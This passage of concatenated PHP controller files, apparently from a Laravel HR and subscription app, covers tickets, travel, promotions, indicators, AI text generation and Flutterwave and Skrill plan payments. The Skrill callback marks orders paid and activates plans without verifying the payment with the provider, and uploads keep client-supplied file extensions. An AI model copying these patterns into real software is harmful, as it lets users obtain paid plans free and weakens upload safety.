' . $resp['error'] . '' : '')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Ticket $ticket) { return redirect()->route('ticket.index'); } public function edit($ticket) { $ticket = Ticket::find($ticket); if (\Auth::user()->can('Edit Ticket')) { $employees = User::where('created_by', '=', \Auth::user()->creatorId())->where('type', '=', 'employee')->get()->pluck('name', 'id'); return view('ticket.edit', compact('ticket', 'employees')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request, $ticket) { $ticket = Ticket::find($ticket); if (\Auth::user()->can('Edit Ticket')) { $validator = \Validator::make( $request->all(), [ 'priority' => 'required', 'end_date' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $ticket->title = $request->title; if (Auth::user()->type == "employee") { $ticket->employee_id = \Auth::user()->id; } else { $ticket->employee_id = $request->employee_id; } $ticket->priority = $request->priority; $ticket->end_date = $request->end_date; $ticket->description = $request->description; if (!empty($request->attachment)) { //storage limit $dir = 'uploads/tickets/'; $file_path = $dir . $ticket->attachment; $image_size = $request->file('attachment')->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if ($result == 1) { Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path); $filenameWithExt = $request->file('attachment')->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $extension = $request->file('attachment')->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; $dir = 'uploads/tickets/'; $image_path = $dir . $fileNameToStore; $url = ''; $path = Utility::upload_file($request, 'attachment', $fileNameToStore, $dir, []); $ticket->attachment = !empty($request->attachment) ? $fileNameToStore : ''; if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } } $ticket->status = $request->status; $ticket->save(); return redirect()->route('ticket.index', compact('ticket'))->with('success', __('Ticket successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Ticket $ticket) { if (\Auth::user()->can('Delete Ticket')) { if ($ticket->created_by == \Auth::user()->creatorId()) { $ticket->delete(); $ticketId = TicketReply::select('id')->where('ticket_id', $ticket->id)->get()->pluck('id'); $reply = TicketReply::whereIn('id', $ticketId)->get(); TicketReply::whereIn('id', $ticketId)->delete(); if (!empty($ticket->attachment)) { //storage limit $file_path = 'uploads/tickets/' . $ticket->attachment; $result = Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path); } foreach ($reply as $key => $value) { if (!empty($value->attachment)) { //storage limit $file_path = 'uploads/tickets/' . $value->attachment; $result = Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path); } } return redirect()->route('ticket.index')->with('success', __('Ticket successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function reply($ticket) { $ticketreply = TicketReply::where('ticket_id', '=', $ticket)->orderBy('id', 'DESC')->get(); $ticket = Ticket::find($ticket); if (\Auth::user()->type == 'employee') { $ticketreplyRead = TicketReply::where('ticket_id', $ticket->id)->where('created_by', '!=', \Auth::user()->id)->update(['is_read' => '1']); } else { $ticketreplyRead = TicketReply::where('ticket_id', $ticket->id)->where('created_by', '!=', \Auth::user()->creatorId())->update(['is_read' => '1']); } return view('ticket.reply', compact('ticket', 'ticketreply')); } public function changereply(Request $request) { $validator = \Validator::make( $request->all(), [ 'description' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $ticket = Ticket::find($request->ticket_id); $ticket_reply = new TicketReply(); $ticket_reply->ticket_id = $request->ticket_id; $ticket_reply->employee_id = $ticket->employee_id; $ticket_reply->description = $request->description; if (!empty($request->attachment)) { $image_size = $request->file('attachment')->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if ($result == 1) { $filenameWithExt = $request->file('attachment')->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $extension = $request->file('attachment')->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; $dir = 'uploads/tickets/'; $image_path = $dir . $fileNameToStore; $url = ''; $path = Utility::upload_file($request, 'attachment', $fileNameToStore, $dir, []); $ticket_reply->attachment = !empty($request->attachment) ? $fileNameToStore : ''; if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } } if (\Auth::user()->type == 'employee') { $ticket_reply->created_by = Auth::user()->id; } else { $ticket_reply->created_by = Auth::user()->id; } $ticket_reply->save(); return redirect()->route('ticket.reply', $ticket_reply->ticket_id)->with('success', __('Ticket Reply successfully Send.')); } } Http/Controllers/FlutterwavePaymentController.php000064400000023040150364306410016415 0ustar00type == 'company') { $admin_payment_setting = Utility::getAdminPaymentSetting(); $this->secret_key = isset($admin_payment_setting['flutterwave_secret_key']) ? $admin_payment_setting['flutterwave_secret_key'] : ''; $this->public_key = isset($admin_payment_setting['flutterwave_public_key']) ? $admin_payment_setting['flutterwave_public_key'] : ''; $this->is_enabled = isset($admin_payment_setting['is_flutterwave_enabled']) ? $admin_payment_setting['is_flutterwave_enabled'] : 'off'; return $this; } } public function planPayWithFlutterwave(Request $request) { $admin_payment_setting = Utility::getAdminPaymentSetting(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id); $plan = Plan::find($planID); $authuser = Auth::user(); $coupon_id = ''; if($plan) { $coupons_id = 0; $price = $plan->price; if(isset($request->coupon) && !empty($request->coupon)) { $request->coupon = trim($request->coupon); $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if(!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($price / 100) * $coupons->discount; $plan->discounted_price = $price - $discount_value; if($usedCoupun >= $coupons->limit) { return redirect()->back()->with('error', __('This coupon code has expired.')); } $price = $price - $discount_value; $coupon_id = $coupons->id; } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } if($price <= 0) { $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if($assignPlan['is_success'] == true && !empty($plan)) { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $user = Auth::user(); if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $price == null ? 0 : $price, 'price_currency' => !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency'] : 'usd', 'txn_id' => '', 'payment_type' => __('Flutterwave'), 'payment_status' => 'succeeded', 'receipt' => null, 'user_id' => $authuser->id, ] ); $res['msg'] = __("Plan successfully upgraded."); $res['flag'] = 2; return $res; } else { return Utility::error_res(__('Plan fail to upgrade.')); } } $res_data['email'] = \Auth::user()->email; $res_data['total_price'] = $price; $res_data['currency'] = $admin_payment_setting['currency']; $res_data['flag'] = 1; $res_data['coupon'] = $coupon_id; return $res_data; } else { return Utility::error_res(__('Plan is deleted.')); } } public function getPaymentStatus(Request $request, $pay_id, $plan) { $admin_payment_setting = Utility::getAdminPaymentSetting(); $payment = $this->paymentConfig(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($plan); $plan = Plan::find($planID); $result = array(); $user = Auth::user(); if($plan) { try { $orderID = time(); $data = array( 'txref' => $pay_id, 'SECKEY' => $payment->secret_key, //secret key from pay button generated on rave dashboard ); // make request to endpoint using unirest. $headers = array('Content-Type' => 'application/json'); $body = \Unirest\Request\Body::json($data); $url = "https://api.ravepay.co/flwv3-pug/getpaidx/api/v2/verify"; //please make sure to change this to production url when you go live // Make `POST` request and handle response with unirest $response = \Unirest\Request::post($url, $headers, $body); if(!empty($response)) { $response = json_decode($response->raw_body, true); } if(isset($response['status']) && $response['status'] == 'success') { $paydata = $response['data']; if($request->has('coupon_id') && $request->coupon_id != '') { $coupons = Coupon::find($request->coupon_id); if(!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Utility::referralTransaction($plan); $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = isset($paydata['amount']) ? $paydata['amount'] : 0; $order->price_currency = $admin_payment_setting['currency']; $order->txn_id = isset($paydata['txid']) ? $paydata['txid'] : $pay_id; $order->payment_type = __('Flutterwave'); $order->payment_status = 'success'; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); if($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully!')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } else { return redirect()->route('plans.index')->with('error', __('Transaction has been failed! ')); } } catch(\Exception $e) { return redirect()->route('plans.index')->with('error', __('Plan not found!')); } } } } Http/Controllers/AiTemplateController.php000064400000016106150364306410014601 0ustar00get(); return view('template.generate', compact('templateName')); } public function getKeywords(Request $request, $id) { $template = Template::find($id); $field_data = json_decode($template->field_json); $html = ""; foreach ($field_data->field as $value) { $html .= '
'; if ($value->field_type == "text_box") { $html .= ''; } if ($value->field_type == "textarea") { $html .= ''; } $html .= '
'; } return response()->json( [ 'success' => true, 'tone' => $template->is_tone, 'template' => $html, ] ); } public function AiGenerate(Request $request) { if ($request->ajax()) { $post = $request->all(); unset($post['_token'], $post['template_name'], $post['tone'], $post['ai_creativity'], $post['num_of_result'], $post['result_length']); $data = array(); $key_data = DB::table('settings')->where('name', 'chatgpt_key')->first(); if ($key_data) { $open_ai = new OpenAi($key_data->value); } else { $data['status'] = 'error'; $data['message'] = __('Please set proper configuration for Api Key'); return $data; } $prompt = ''; $model = ''; $text = ''; $ai_token = ''; $counter = 1; $template = Template::where('id', $request->template_name)->first(); if ($request->template_name) { $required_field = array(); $data_field = json_decode($template->field_json); foreach ($data_field->field as $val) { request()->validate([$val->field_name => 'required|string']); } $prompt = $template->prompt; foreach ($data_field->field as $field) { $text_rep = "##" . $field->field_name . "##"; if (strpos($prompt, $text_rep) !== false) { $field->value = $post[$field->field_name]; $prompt = str_replace($text_rep, $post[$field->field_name], $prompt); } if ($template->is_tone == 1) { $tone = $request->tone; $param = "##tone_language##"; $prompt = str_replace($param, $tone, $prompt); } } } $lang_text = "Provide response in " . $request->language . " language.\n\n "; $ai_token = (int)$request->result_length; $max_results = (int)$request->num_of_result; $ai_creativity = (float)$request->ai_creativity; $settings = Utility::getChatGPTSetting(); $complete = $open_ai->completion([ 'model' => isset($settings['chatgpt_model']) ? $settings['chatgpt_model'] : '', 'prompt' => $prompt . ' ' . $lang_text, 'temperature' => $ai_creativity, 'max_tokens' => $ai_token, 'n' => $max_results ]); $response = json_decode($complete, true); if (isset($response['choices'])) { if (count($response['choices']) > 1) { foreach ($response['choices'] as $value) { $text .= $counter . '. ' . ltrim($value['text']) . "\r\n\r\n\r\n"; $counter++; } } else { $text = $response['choices'][0]['text']; } $tokens = $response['usage']['completion_tokens']; $data = trim($text); return $data; } else { $data['status'] = 'Error'; $data['message'] = $response['error']['message']; return $data; } } } //for grammar check public function grammar($moduleName) { $templateName = Template::where('module', $moduleName)->first(); return view('template.grammar_ai', compact('templateName')); } public function grammarProcess(Request $request) { if ($request->ajax()) { $post = $request->all(); unset($post['_token'], $post['template_name'], $post['tone'], $post['ai_creativity'], $post['num_of_result'], $post['result_length']); $data = array(); $key_data = DB::table('settings')->where('name', 'chatgpt_key')->first(); if ($key_data) { $open_ai = new OpenAi($key_data->value); } else { $data['status'] = 'error'; $data['message'] = __('Please set proper configuration for Api Key'); return $data; } $counter = 1; $prompt = "please correct grammar mistakes and spelling mistakes in this: . $request->description ."; $is_tone = 1; $ai_token = strlen($request->description); $max_results = 1; $ai_creativity = 1.0; $settings = Utility::getChatGPTSetting(); $complete = $open_ai->completion([ 'model' => isset($settings['chatgpt_model']) ? $settings['chatgpt_model'] : '', 'prompt' => $prompt, 'temperature' => $ai_creativity, 'max_tokens' => $ai_token, 'n' => $max_results ]); $response = json_decode($complete, true); if (isset($response['choices'])) { if (count($response['choices']) > 1) { foreach ($response['choices'] as $value) { $text .= $counter . '. ' . ltrim($value['text']) . "\r\n\r\n\r\n"; $counter++; } } else { $text = $response['choices'][0]['text']; } $tokens = $response['usage']['completion_tokens']; $data = trim($text); return $data; } else { $data['status'] = 'Error'; $data['message'] = $response['error']['message']; return $data; } } } } Http/Controllers/TravelController.php000064400000016525150364306410014016 0ustar00can('Manage Travel')) { if (Auth::user()->type == 'employee') { $emp = Employee::where('user_id', '=', \Auth::user()->id)->first(); $travels = Travel::where('created_by', '=', \Auth::user()->creatorId())->where('employee_id', '=', $emp->id)->get(); } else { $travels = Travel::where('created_by', '=', \Auth::user()->creatorId())->with('employee')->get(); } return view('travel.index', compact('travels')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Travel')) { $employees = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('travel.create', compact('employees')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if (\Auth::user()->can('Create Travel')) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'start_date' => 'required', 'end_date' => 'required|after_or_equal:start_date', 'purpose_of_visit' => 'required', 'place_of_visit' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $travel = new Travel(); $travel->employee_id = $request->employee_id; $travel->start_date = $request->start_date; $travel->end_date = $request->end_date; $travel->purpose_of_visit = $request->purpose_of_visit; $travel->place_of_visit = $request->place_of_visit; $travel->description = $request->description ; $travel->created_by = \Auth::user()->creatorId(); $travel->save(); // twilio $setting = Utility::settings(\Auth::user()->creatorId()); $emp = Employee::find($request->employee_id); if (isset($setting['twilio_trip_notification']) && $setting['twilio_trip_notification'] == 1) { // $msg = $request->purpose_of_visit . ' ' . __("is created to visit") . ' ' . $request->place_of_visit . ' ' . __("for") . ' ' . $emp->name . ' ' . __("from") . ' ' . $request->start_date . ' ' . __("to") . ' ' . $request->end_date . '.'; $uArr = [ 'purpose_of_visit' => $request->purpose_of_visit, 'place_of_visit' => $request->place_of_visit, 'employee_name' => $emp->name, 'start_date' => $request->start_date, 'end_date' => $request->end_date, ]; Utility::send_twilio_msg($emp->phone, 'new_trip', $uArr); } $setings = Utility::settings(); if ($setings['employee_trip'] == 1) { $employee = Employee::find($travel->employee_id); $uArr = [ 'employee_trip_name'=>$employee->name, 'purpose_of_visit' =>$request->purpose_of_visit, 'start_date' =>$request->start_date, 'end_date' =>$request->end_date, 'place_of_visit' =>$request->place_of_visit, 'trip_description' =>$request->description, ]; $resp = Utility::sendEmailTemplate('employee_trip', [$employee->email], $uArr); return redirect()->route('travel.index')->with('success', __('Travel successfully created.'). ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); } return redirect()->route('travel.index')->with('success', __('Travel successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Travel $travel) { return redirect()->route('travel.index'); } public function edit(Travel $travel) { if (\Auth::user()->can('Edit Travel')) { $employees = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); if ($travel->created_by == \Auth::user()->creatorId()) { return view('travel.edit', compact('travel', 'employees')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Travel $travel) { if (\Auth::user()->can('Edit Travel')) { if ($travel->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'start_date' => 'required', 'end_date' => 'required', 'purpose_of_visit' => 'required', 'place_of_visit' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $travel->employee_id = $request->employee_id; $travel->start_date = $request->start_date; $travel->end_date = $request->end_date; $travel->purpose_of_visit = $request->purpose_of_visit; $travel->place_of_visit = $request->place_of_visit; $travel->description = $request->description; $travel->save(); return redirect()->route('travel.index')->with('success', __('Travel successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Travel $travel) { if (\Auth::user()->can('Delete Travel')) { if ($travel->created_by == \Auth::user()->creatorId()) { $travel->delete(); return redirect()->route('travel.index')->with('success', __('Travel successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/PromotionController.php000064400000015715150364306410014547 0ustar00can('Manage Promotion')) { if(Auth::user()->type == 'employee') { $emp = Employee::where('user_id', '=', \Auth::user()->id)->first(); $promotions = Promotion::where('created_by', '=', \Auth::user()->creatorId())->where('employee_id', '=', $emp->id)->get(); } else { $promotions = Promotion::where('created_by', '=', \Auth::user()->creatorId())->with(['employee', 'designation'])->get(); } return view('promotion.index', compact('promotions')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Promotion')) { $designations = Designation::where('created_by', Auth::user()->creatorId())->get()->pluck('name', 'id'); $employees = Employee::where('created_by', Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('promotion.create', compact('employees', 'designations')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Promotion')) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'designation_id' => 'required', 'promotion_title' => 'required', 'promotion_date' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $promotion = new Promotion(); $promotion->employee_id = $request->employee_id; $promotion->designation_id = $request->designation_id; $promotion->promotion_title = $request->promotion_title; $promotion->promotion_date = $request->promotion_date; $promotion->description = $request->description; $promotion->created_by = \Auth::user()->creatorId(); $promotion->save(); $setings = Utility::settings(); if($setings['employee_promotion'] == 1) { $employee = Employee::find($promotion->employee_id); $designation = Designation::find($promotion->designation_id); $uArr = [ 'employee_promotion_name'=>$employee->name, 'promotion_designation' =>$designation->name, 'promotion_title' =>$request->promotion_title, 'promotion_date' =>$request->promotion_date, ]; $resp = Utility::sendEmailTemplate('employee_promotion', [$employee->email], $uArr); return redirect()->route('promotion.index')->with('success', __('Promotion successfully created.'). ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Promotion $promotion) { return redirect()->route('promotion.index'); } public function edit(Promotion $promotion) { $designations = Designation::where('created_by', Auth::user()->creatorId())->get()->pluck('name', 'id'); $employees = Employee::where('created_by', Auth::user()->creatorId())->get()->pluck('name', 'id'); if(\Auth::user()->can('Edit Promotion')) { if($promotion->created_by == \Auth::user()->creatorId()) { return view('promotion.edit', compact('promotion', 'employees', 'designations')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Promotion $promotion) { if(\Auth::user()->can('Edit Promotion')) { if($promotion->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'designation_id' => 'required', 'promotion_title' => 'required', 'promotion_date' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $promotion->employee_id = $request->employee_id; $promotion->designation_id = $request->designation_id; $promotion->promotion_title = $request->promotion_title; $promotion->promotion_date = $request->promotion_date; $promotion->description = $request->description; $promotion->save(); return redirect()->route('promotion.index')->with('success', __('Promotion successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Promotion $promotion) { if(\Auth::user()->can('Delete Promotion')) { if($promotion->created_by == \Auth::user()->creatorId()) { $promotion->delete(); return redirect()->route('promotion.index')->with('success', __('Promotion successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/IndicatorController.php000064400000015064150364306410014472 0ustar00can('Manage Indicator')) { $user = \Auth::user(); if ($user->type == 'employee') { $employee = Employee::where('user_id', $user->id)->first(); $indicators = Indicator::where('created_by', '=', $user->creatorId())->where('branch', $employee->branch_id)->where('department', $employee->department_id)->where('designation', $employee->designation_id)->get(); } else { $indicators = Indicator::where('created_by', '=', $user->creatorId())->with(['branches', 'departments', 'designations', 'user'])->get(); } return view('indicator.index', compact('indicators')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Indicator')) { $performance_types = Performance_Type::where('created_by', '=', \Auth::user()->creatorId())->get(); $brances = Branch::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); // $brances->prepend('Select Branch', ''); $departments = Department::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $departments->prepend('Select Department', ''); $degisnation = Designation::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('indicator.create', compact('performance_types', 'brances', 'departments', 'degisnation')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if (\Auth::user()->can('Create Indicator')) { $validator = \Validator::make( $request->all(), [ 'branch' => 'required', 'department' => 'required', 'designation' => 'required', 'rating' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $indicator = new Indicator(); $indicator->branch = $request->branch; $indicator->department = $request->department; $indicator->designation = $request->designation; $indicator->rating = json_encode($request->rating, true); if (\Auth::user()->type == 'company') { $indicator->created_user = \Auth::user()->creatorId(); } else { $indicator->created_user = \Auth::user()->id; } $indicator->created_by = \Auth::user()->creatorId(); $indicator->save(); return redirect()->route('indicator.index')->with('success', __('Indicator successfully created.')); } } public function show(Indicator $indicator) { $ratings = json_decode($indicator->rating, true); $performance_types = Performance_Type::where('created_by', '=', \Auth::user()->creatorId())->get(); // $technicals = Competencies::where('created_by', \Auth::user()->creatorId())->where('type', 'technical')->get(); // $organizationals = Competencies::where('created_by', \Auth::user()->creatorId())->where('type', 'organizational')->get(); // $behaviourals = Competencies::where('created_by', \Auth::user()->creatorId())->where('type', 'behavioural')->get(); return view('indicator.show', compact('indicator', 'ratings', 'performance_types')); } public function edit(Indicator $indicator) { if (\Auth::user()->can('Edit Indicator')) { $performance_types = Performance_Type::where('created_by', '=', \Auth::user()->creatorId())->get(); $brances = Branch::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $departments = Department::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $departments->prepend('Select Department', ''); $degisnation = Designation::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $ratings = json_decode($indicator->rating, true); return view('indicator.edit', compact('performance_types', 'brances', 'departments', 'indicator', 'ratings', 'degisnation')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request, Indicator $indicator) { if (\Auth::user()->can('Edit Indicator')) { $validator = \Validator::make( $request->all(), [ 'branch' => 'required', 'department' => 'required', 'designation' => 'required', 'rating' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $indicator->branch = $request->branch; $indicator->department = $request->department; $indicator->designation = $request->designation; $indicator->rating = json_encode($request->rating, true); $indicator->save(); return redirect()->route('indicator.index')->with('success', __('Indicator successfully updated.')); } } public function destroy(Indicator $indicator) { if (\Auth::user()->can('Delete Indicator')) { if ($indicator->created_by == \Auth::user()->creatorId()) { $indicator->delete(); return redirect()->route('indicator.index')->with('success', __('Indicator successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/SkrillPaymentController.php000064400000024453150364306410015356 0ustar00type == 'company') { $admin_payment_setting = Utility::getAdminPaymentSetting(); // $this->currancy = isset($admin_payment_setting['currency'])?$admin_payment_setting['currency']:''; $this->email = isset($admin_payment_setting['skrill_email']) ? $admin_payment_setting['skrill_email'] : ''; $this->is_enabled = isset($admin_payment_setting['is_skrill_enabled']) ? $admin_payment_setting['is_skrill_enabled'] : 'off'; return $this; } } public function planPayWithSkrill(Request $request) { $payment = $this->paymentConfig(); $admin_payment_setting = Utility::getAdminPaymentSetting(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id); $plan = Plan::find($planID); $authuser = Auth::user(); $coupons_id = ''; if ($plan) { $price = $plan->price; if (isset($request->coupon) && !empty($request->coupon)) { $request->coupon = trim($request->coupon); $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($price / 100) * $coupons->discount; $plan->discounted_price = $price - $discount_value; $coupons_id = $coupons->id; if ($usedCoupun >= $coupons->limit) { return redirect()->back()->with('error', __('This coupon code has expired.')); } $price = $price - $discount_value; } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } if ($price <= 0) { $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { $orderID = time(); $user = Auth::user(); if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $price == null ? 0 : $price, 'price_currency' => !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency'] : 'USD', // 'price_currency' => !empty($this->currancy) ? $this->currancy : 'usd', 'txn_id' => '', 'payment_type' => __('Skrill'), 'payment_status' => 'succeeded', 'receipt' => null, 'user_id' => $authuser->id, ] ); $assignPlan = $authuser->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan activated Successfully!')); } else { return redirect()->back()->with('error', __('Plan fail to upgrade.')); } } $tran_id = md5(date('Y-m-d') . strtotime('Y-m-d H:i:s') . 'user_id'); $skill = new SkrillRequest(); $skill->pay_to_email = $payment->email; $skill->return_url = route( 'plan.skrill', [ $request->plan_id, 'tansaction_id=' . MD5($tran_id), 'coupon_id=' . $coupons_id, ] ); $skill->cancel_url = route('plan.skrill', [$request->plan_id]); // create object instance of SkrillRequest $skill->transaction_id = MD5($tran_id); // generate transaction id $skill->amount = $price; $skill->currency = $admin_payment_setting['currency']; $skill->language = 'EN'; $skill->prepare_only = '1'; $skill->merchant_fields = 'site_name, customer_email'; $skill->site_name = \Auth::user()->name; $skill->customer_email = \Auth::user()->email; // create object instance of SkrillClient $client = new SkrillClient($skill); $sid = $client->generateSID(); //return SESSION ID // handle error $jsonSID = json_decode($sid); if ($jsonSID != null && $jsonSID->code == "BAD_REQUEST") { // return redirect()->back()->with('error', $jsonSID->message); } // do the payment $redirectUrl = $client->paymentRedirectUrl($sid); //return redirect url if ($tran_id) { $data = [ 'amount' => $price, 'trans_id' => MD5($request['transaction_id']), 'currency' => $admin_payment_setting['currency'], ]; session()->put('skrill_data', $data); } return redirect($redirectUrl); } else { return redirect()->back()->with('error', 'Plan is deleted.'); } } public function getPaymentStatus(Request $request, $plan) { $admin_payment_setting = Utility::getAdminPaymentSetting(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($plan); $plan = Plan::find($planID); $user = \Auth::user(); $orderID = time(); if ($plan) { try { if ($request->all() != []) { if (session()->has('skrill_data')) { $get_data = session()->get('skrill_data'); if ($request->has('coupon_id') && $request->coupon_id != '') { $coupons = Coupon::find($request->coupon_id); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Utility::referralTransaction($plan); $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = isset($get_data['amount']) ? $get_data['amount'] : 0; $order->price_currency = $admin_payment_setting['currency']; $order->txn_id = isset($request->transaction_id) ? $request->transaction_id : ''; $order->payment_type = __('Skrill'); $order->payment_status = 'success'; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id, $request->payment_frequency); if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully!')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } else { return redirect()->route('plans.index')->with('error', __('Transaction has been failed! 